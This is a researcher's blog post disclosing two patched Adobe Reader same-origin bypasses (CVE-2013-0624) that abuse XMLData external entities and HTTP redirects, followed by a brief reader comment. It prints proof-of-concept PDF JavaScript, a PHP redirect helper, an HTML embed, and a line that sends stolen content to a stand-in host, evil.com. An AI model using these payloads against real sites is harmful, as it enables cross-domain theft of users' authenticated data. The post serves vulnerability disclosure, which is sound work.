A few days ago many severe vulnerabilities involving Adobe Reader and Acrobat were addressed by Adobe through a security update.
In this post I want to share some details about some security issues I found out, in particular, about CVE-2013-0624. Based on the description in the advisory by Adobe, these vulnerabilities are essentially security bypass, and three people are credited about these (Billy Rios, Federico Lanusse and me).
Description
The same-origin policy ensures that an embedded PDF is only allowed to make HTTP requests back to the domain from which it is served up. This implies that if a PDF file is hosted at the domain A, then it can make requests to the domain A, while it is not allowed to do so with respect to any different domain. Actually the PDF at the domain A could be allowed to do cross-domain requests, but the user would be asked (with a warning prompt) to put this domain into the list of privileged positions. This is completely different from the common practice of crossdomain.xml and CORS in which the web site's owner decides whether its content can be accessed from specific domains.
I learned this by reading the awesome post by Billy Rios about Content-Smuggling in which he showed that PDF files could be "hidden" in files with different format. In addition, he adopted the built-in XML APIs in an XXE (XML External Entities) attack fashion in order to make HTTP requests. I strongly encourage you to read that analysis, since it is really cool! Essentially the XMLData object can be used to perform HTTP requests by exploiting the XML external entities; this functionality was exploited in the wild for accessing local files through the file: scheme though, as you can read from here.
Bypass #1 - Analysis
Let us assume to run a web site at http://127.0.0.1, then we could ask Adobe Reader to parse an XML document in through the Adobe Javascript APIs as follows.
[...]
var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <! ENTITY xxe
SYSTEM \"http://127.0.0.1/document.txt\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));
[...]
This will parse an XML document where the tag named foo contains the textual content of the file hosted at http://127.0.0.1/document.txt - note that only textual content or XML files can be included, otherwise the XML parser would not be able to correctly parse the XML document, and this is obviously the biggest limitation of this attack.
Clearly, we are not allowed to include content from domains which are different from the the one from which the PDF is served up - unless explicitly asked by the user.
Actually an HTTP redirect could be exploited to make cross-domain inclusions and access data belonging to any domain.
Let us assume that the attacker controls the domain http://evil.com, then it could craft two pages: the
first one embedding a PDF file, while the second one performing an HTTP redirect; its goal is to read
content located at http://target.com/my_secret. The crafted PDF would contain the following JavaScript code:
http://evil.com/wow.pdf
[...]
var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe
SYSTEM \"http://evil.com/redirect.php?redir=http%3A%2F%2Fwww.target.com%2Fmy_secret\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));
[...]
http://evil.com/redirect.php
<?php
header("Location: ".$_GET['redir']);
?>
Adobe Reader plugin did not correctly consider that the requested content is located in a domain different from the originating one. Specifically, when including content through XMLData and external entities via a URL that performs a 301 or 302 redirect, the Adobe Reader plugin considers the requested content being located at the original source of the redirect, and not at the final destination. In addition, stolen sensitive data can be grabbed in the following way. It is clear that user's cookies are sent by the browser when accessing the content in the target domain.
var z = "http://evil.com/?uhh=" + escape(xdoc.foo.value);
app.launchURL(z);
Bypass #2 - Analysis
At this point it's time to proceed to another similar issue I found out. It is somehow similar to the one I've just analyzed but it requires a completely different attack scenario. It is essentially again a Adobe Reader Same-Origin Policy Bypass managed via PDF documents that are loaded through an HTTP redirect.
This vulnerability worked in Internet Explorer only (tested on IE 8, 9 and 10).
Adobe Reader did not properly enforce the same-origin policy for embedded PDFs which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content.
Let us assume the attacker controls the domain http://www.evil.com where he uploaded a PDF at http://www.evil.com/evil/doc.pdf. Then let us assume that the target web site (http://www.victim.com) has an open redirect vulnerability that performs 301 or 302 redirect in the form of http://www.victim.com/redirect.php?redir=http%3A%2F%2Fgoogle.com.
Now, the attacker could craft a malicious web page as follows:
http://www.evil.com/evil/index.html
<object data="http://www.victim.com/redirect.php?redir=http%3A%2F%2Fwww.evil.com%2Fevil%2Fdoc.pdf"
type="application/pdf" height="300" width="300">
http://www.evil.com/evil/doc.pdf
[...]
var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe
SYSTEM \"http://www.victim.com/secret_document\">]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));
[...]
So what really happens? The user loads the page, the embedded PDF is loaded and executes a network request to http://www.victim.com/secret_document successfully. What we would want to happen here is that Adobe Reader would have disallowed the PDF to perform a request to http://www.victim.com because it was served up by http://www.evil.com.
For the sake of completeness, if you put app.alert({cMsg:this.path}); in the Adobe JS code, then the reader would have alerted the path, that is the source of the redirect, instead of the destination path.
It is obvious that the victim web site should not have an endpoint allowing 301 or 302 redirects, but this is not uncommon at all.
For the sake of completeness, something equivalent was discovered by Neal Poole in Java Applets, refer to his very interesting post for further details. A slightly different, but equally cool, approach was instead adopted by LeverOne on sla.ckers.org and this latter was based on the possibility to steal cookies cross-domain.
Fix
The two shown vulnerabilities were fixed by disallowing to adopt external entities in the XML documents that are parsed through the XMLData object: entities identified by the keywords SYSTEM or PUBLIC will not be parsed anymore (, or at least this is was I found out by testing the patched version of Adobe Reader).
Furthermore, content smuggling (introduced by Billy Rios) looks to be fixed since supplied PoCs do not work after this security update; in particular a warning prompt is shown, saying that the embedded file does not start with '%PDF%-'.
For the sake of completeness, a research showing how it was possible to exploit PDF and Flash files in order to make same-domain requests was published by Vladimir Vorontsov in 2010: he called these kind of attacks SDRF indicating that giving the users the possibility to upload particular files in the domain containing sensitive data could be an high security risk.
I think there's a word missing (should NOT have) here:
"It is obvious that the victim web site should have an endpoint allowing 301 or 302 redirects, but this is not uncommon at all."
Yep, actually you are right! :)
Just corrected.